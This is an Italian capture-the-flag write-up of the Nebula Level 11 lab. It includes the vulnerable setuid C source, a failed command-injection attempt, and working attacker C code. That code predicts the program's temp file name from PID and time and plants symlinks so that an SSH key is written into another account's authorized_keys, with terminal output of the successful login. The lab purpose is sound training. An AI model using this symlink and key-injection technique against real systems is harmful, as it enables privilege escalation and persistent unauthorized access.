Come ho risolto Nebula Level 11
I file necessari si trovano sotto /home/flag11
diamo un'occhiata
level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11 100 2016-12-20 15:11 .
drwxr-xr-x 1 root root 140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11 14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11 3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11 60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11 675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11 60 2016-12-20 15:07 .ssh
Questa piccola cartella .ssh
solleva una sorta di segnale di allarme nel mio cervello. Forse ne avremo bisogno in seguito. Come puoi vedere, alcuni dei file sono stati recentemente aperti. Ciò è dovuto al mio attacco.
Il codice C allegato dell'esercizio è il seguente:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
Dopo aver analizzato questo codice Return a random, non predictable file, and return the file descriptor for it.
. Quando qualcuno dichiara non prevedibile cerco di prevedere. Questo deve essere differito un po 'perché il resto del codice ha bisogno di ispezioni. Solo alcune osservazioni, sui vecchi sistemi Linux pid di un processo sono piuttosto prevedibili. Ovviamente anche srandom()
seminato con il tempo è prevedibile.
Ok, c'è uno schema di crittografia XOR usato per decifrare il buffer in process
e questo buffer decifrato viene passato al sistema. Okay, dobbiamo inserire alcune chiamate d'attacco qui. Dall'ispezione dei file abbiamo capito che questa è un'altra sfida di setuid
bit, okay, sto diventando zoppo, pensavo. Francamente ero un po 'troppo ottimista.
Nella funzione principale il buffer di elaborazione è riempito da stdin
e confrontato con un prefisso hard codificato niente di magico qui.
#define CL "Content-Length: "
int main(int argc, char **argv)
{
// ...
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
//...
}
Le funzioni err
usciranno dall'eseguibile quando vengono colpite. Per ignorare il seguente controllo if(fread(buf, length, 1, stdin) != length) {
, la lunghezza passata a questo eseguibile deve essere una. In questo caso il codice iniettato è molto limitato. I test con numeri atoi e negativi sono sempre falliti. Poiché fread
restituisce il numero di elementi letti e non il numero di byte, in questo caso ne restituisce sempre uno. Formare gli altri esercizi sapevamo che possiamo fingere la variabile PATH
con un percorso che abbiamo sotto controllo. Quindi, abbiamo solo bisogno di iniettare un singolo carattere nella magica funzione process()
. Il retro di XOR è piuttosto semplice. Potresti aver bisogno di alcuni tentativi per eseguire il tuo comando, questo perché l'intero buffer è passato a system
. Il buffer si trova sulla pila di main e per questo è pieno di spazzatura. Ma le probabilità che abbiamo raggiunto uno zero nel secondo personaggio non è male. Ho già sentito il mio successo ma poi ho capito:
getflag is executing on a non-flag account, this doesn't count
Questa volta non ero io a imbrogliare, ma gli autori di Nebula, il codice sorgente fornito, non menzionavano che avevano rimosso il setuid
bit prima della chiamata al sistema. Questo è stato esposto dal comando strace
.
getgid32() = 1012
setgid32(1012) = 0
getuid32() = 1012
setuid32(1012) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180
Ok, sembra un vicolo cieco. Tornando al tavolo da disegno, l'idea SSH è spuntata di nuovo. Ma come possiamo usare la cartella .ssh
. Questo è abbastanza facile, dobbiamo iniettare un file authorized_keys
lì. Ma come si può ottenere senza setuid
?
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
Finora ho completamente ignorato il caso else del controllo della lunghezza buffer
. È qui che entra in gioco il nome del file temp super top secret. Per ottenere il controllo del file, dobbiamo definire la variabile d'ambiente dalla shell su cui eseguiremo l'attacco più tardi:
export TEMP=/tmp
Ora è solo una questione di indovinare il PID della nostra vittima. Questo è facile, quando trasformiamo lo stdout nello stdin della vittima le probabilità sono alte, è solo più uno dei nostri. Altrimenti si potrebbe utilizzare popen()
e iniettare il pid da ps | grep flag11
. La parte temporale è semplicissima perché è il tempo in secondi. Per ottenere una frequenza di successo stabile usiamo anche il nome del file per il secondo successivo. L'intero codice dell'attaccante assomiglia a questo:
int getrand(char **path, int pid, int time)
{
char *tmp;
int fd = 0;
srandom(time);
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
return fd;
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
pid = getpid()+1;
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
getrand(&path, pid, time(NULL)+1);
symlink("/home/flag11/.ssh/authorized_keys",path);
fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}
La chiave ssh deve essere generata per prima. Mi ci sono voluti alcuni tentativi per completare quegli strani controlli con i colori. Forse è necessario verificare il formato della funzione time()
per non incorrere in problemi di overflow. Al momento non mi è chiaro il motivo per cui non è necessario criptare il buffer. Forse qualche specialità della funzione mmap. Comunque con la chiave ssh iniettata puoi accedere all'account flag11 e ottenere il tuo flag.
level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ '/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
flag11@nebula:~$